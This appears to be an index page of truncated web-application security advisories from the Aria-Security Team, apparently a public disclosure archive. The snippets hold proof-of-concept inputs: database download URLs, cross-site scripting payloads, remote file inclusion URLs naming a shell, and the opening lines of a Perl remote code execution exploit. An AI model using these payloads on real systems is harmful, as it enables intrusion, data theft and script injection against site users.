openforum.txt

Discovered: Aria-Security Team Vendor: http://www.2enetworx.com/dev/projects/openforum.asp Risk: Low Type:Remote Password Disclosure PoC: http://TARGET/path/openforum.mdb Contact: [email protected]...

BattleBlog Database Download Vulnerability

Aria-Security Team Happy New Year!! Aria-Security.com For English Aria-Security.net For Parsi Discovered: Aria-Security Team Vendor:http://www.battleblog.com/home/g/ Risk: Low Type:Remote Database Download PoC: http://TARGET/path/database/blankmaster.mdb Contact: [email protected]...

rblog-db.txt

Discovered: Aria-Security Team Vendor:http://mike.dewolfe.bc.ca/scripts/rblog/ Risk: Low Type:Remote Database Download PoC: http://TARGET/path/data/admin.mdb http://TARGET/path/data/rblog.mdb Contact: [email protected]...

hypervm-xss.txt

Aria-Security Team Advisory ----------------------------------------------------------- Software: HyperVM Method: Cross-Site Scripting Vendor: http://hypervm.com PoC: victim::8888/display.php?frmaction=%22%3E%3Cscript%3Ealert'a'%3C/script%3E Contact: [email protected]...

aria-portal.txt

Aria-Security Team Advisory Original Advisory: http://www.aria-security.com/forum/showthread.php?t=63 ----------------------------------------------------------- Software: DuPortal Pro 3.4 Method: SQL Injection Vendor: http://duware.com PoC:...

i-Gallery34.txt

Aria-Security Team Advisory Original Advisory : http://aria-security.net/advisory/i-Gallery34.txt ----------------------------------------------------------- Software: i-Gallery 3.4 Method : Cross Site Scripting PoC: http://target/path/igallery.asp?n=XSS http://target/path/igallery.asp&d=XSS and...

Yblog-xss.txt

---------------------------------------------------------- Aria-Security.net Advisory Discovered by: YouYou Gr33t to: A.u.r.a & O.U.T.L.A.W & R@1D3N @ DrtRp & Cl0wn & S3ll & T3rr0r1st ----------------------------------------------------------- Software: Yblog Attack method: Cross Site Scripting...

Yblog => Cross Site Scripting

---------------------------------------------------------- Aria-Security.net Advisory Discovered by: YouYou www.Aria-security.net Gr33t to: A.u.r.a & O.U.T.L.A.W & R@1D3N @ DrtRp & Cl0wn & S3ll & T3rr0r1st ----------------------------------------------------------- Software: Yblog Attack method:...

yabbXSScat.txt

Aria-Security.net Advisory Discovered by: OUTLAW Gr33t to: A.u.r.a & C0d3r & l2odon & R@1D3N @ DrtRp & Software: YaBB Attack method: Cross Site Scripting Proof of Concept: index.php?action=faqmy&myfaq=yes&idcat=1&categories=alert"xss" ----------------------------------------------------------...

contxtd.txt

Aria-Security.net Advisory Discovered by: O.U.T.L.A.W Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp Software: Mambo Components ContXTD Attack method: Remote File Inclusion Source: ensure this file is being included by a parent file / defined 'VALIDMOS' or die 'Direct Access to this location is not...

mosbot.txt

Aria-Security.net Advisory Discovered by: O.U.T.L.A.W Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp Software: Mambo Component - Display MOSBot Manager Attack method: Remote File Inclusion Source: includeonce "".$mosConfigabsolutepath."/administrator/components/". $componentdirectory ."/toolbar."...

akoinclude.txt

Aria-Security.net Advisory Discovered by: O.U.T.L.A.W Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp Software: Ako Comments mod Attack method: Remote File Inclusion Source: Description: This module shows users' comments from component AkoComments. File Version: 1.1 for Mambo 4.5...

Mambo Component - Display MOSBot Manager Remote File Inclusion Vuln

Aria-Security.net Advisory Discovered by: O.U.T.L.A.W www.Aria-security.net Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp Software: Mambo Component - Display MOSBot Manager Attack method: Remote File Inclusion Source: includeonce "".$mosConfigabsolutepath."/administrator/components/"...

Mambo Component - Display MOSBot Manager Remote File Inclusion Vuln

Aria-Security.net Advisory Discovered by: O.U.T.L.A.W www.Aria-security.net Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp Software: Mambo Components ContXTD Attack method: Remote File Inclusion Source: ensure this file is being included by a parent file / defined 'VALIDMOS' or die 'Direct Access t...

Mambo Component - EstateAgent Remote File Inclusion

Aria-Security.net Advisory Discovered by: O.U.T.L.A.W www.Aria-security.net Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp Software: Mambo Component - EstateAgent Attack method: Source: Don't allow direct linking defined 'VALIDMOS' or die 'Direct Access to this location is not allowed.' ; requireon...

Wheatblog 1.1 - session.php Remote File Inclusion

Wheatblog 1.1 - session.php Remote File Inclusion Aria-Security.net Advisory Discovered by: O.U.T.L.A.W Gr33t to: A.u.r.a & l2odon & DrtRp & Sh3ll db != 'resource' touchDatabaseSession; Proof of Concept: server/includes/session.php?wbclassdir=SHELL Contact : [email protected] milw0rm.com...

Yabb XSS

Aria-Security.net Advisory Discovered by: OUTLAW www.Aria-security.net Gr33t to: A.u.r.a & C0d3r & l2odon & R@1D3N @ DrtRp & Software: YaBB Attack method: Cross Site Scripting Proof of Concept: index.php?action=faqmy&myfaq=yes&idcat=1&categories=scriptalert"xss "/script...

Wheatblog <= 1.1 (session.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ================================================================ Wheatblog db != 'resource' touchDatabaseSession; Proof of Concept: www.site.com/includes/session.php?wbclassdir=SHELL 0day.today 2018-04-04...

phpnukeXSSaria.txt

---------------------------------------------------------- Aria-Security.net Advisory Discovered by: l2odon Gr33t to: O.U.T.L.A.W & A.u.r.a & DrtRp & Cl0wn ----------------------------------------------------------- Software: PHP-Nuke INP Description: PHP-Nuke INP is the modified version of...

EJ3 TOPo 2.2 - 'descripcion' Remote Command Execution

!/usr/bin/perl EJ3 TOPO 2.2 Remote Code Execution Exploit --------------------------------------------- Note : This Exploit Just run TOPO 2.2 IHST : www.Hackerz.Ir AST : www.aria-security.net Coded & Discovered By Hessam-x use LWP::UserAgent; use LWP::Simple; use HTTP::Cookies; $host = $ARGV0; $u...